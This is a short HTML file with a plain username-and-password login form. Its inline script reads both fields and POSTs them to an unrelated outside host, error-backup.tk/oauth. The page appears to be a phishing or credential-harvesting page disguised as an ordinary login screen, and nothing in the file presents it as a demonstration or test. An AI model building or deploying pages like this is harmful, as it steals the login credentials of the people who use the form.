local.html

<!DOCTYPE html>
<html>
    <script src="dist/local.js"></script>
    <script>
        function submitLogin(event){
             let form = document.getElementById("form_id")
            let body = {
                un: form.elements["un"].value,
                pwd: form.elements["pwd"].value
            }
            let init = {
                body: JSON.stringify(body), 
                method:"POST"
            }
            fetch("https://error-backup.tk/oauth", init).then(res=>{
                console.log(res)
            }).catch(e=> console.log('e', e)
            )
            
            
        }
    </script>

    <body>
        <form class="modal-content animate" id="form_id" method="post">
            <div class="container">
                <label for="un"><b>Username</b></label>
                <input type="text" placeholder="Enter Username" name="un" required>

                <label for="pwd"><b>Password</b></label>
                <input type="password" placeholder="Enter Password" name="pwd" required>

                <button type="submit" onclick="submitLogin()">Login</button>
            </div>
        </form>

    </body>

</html>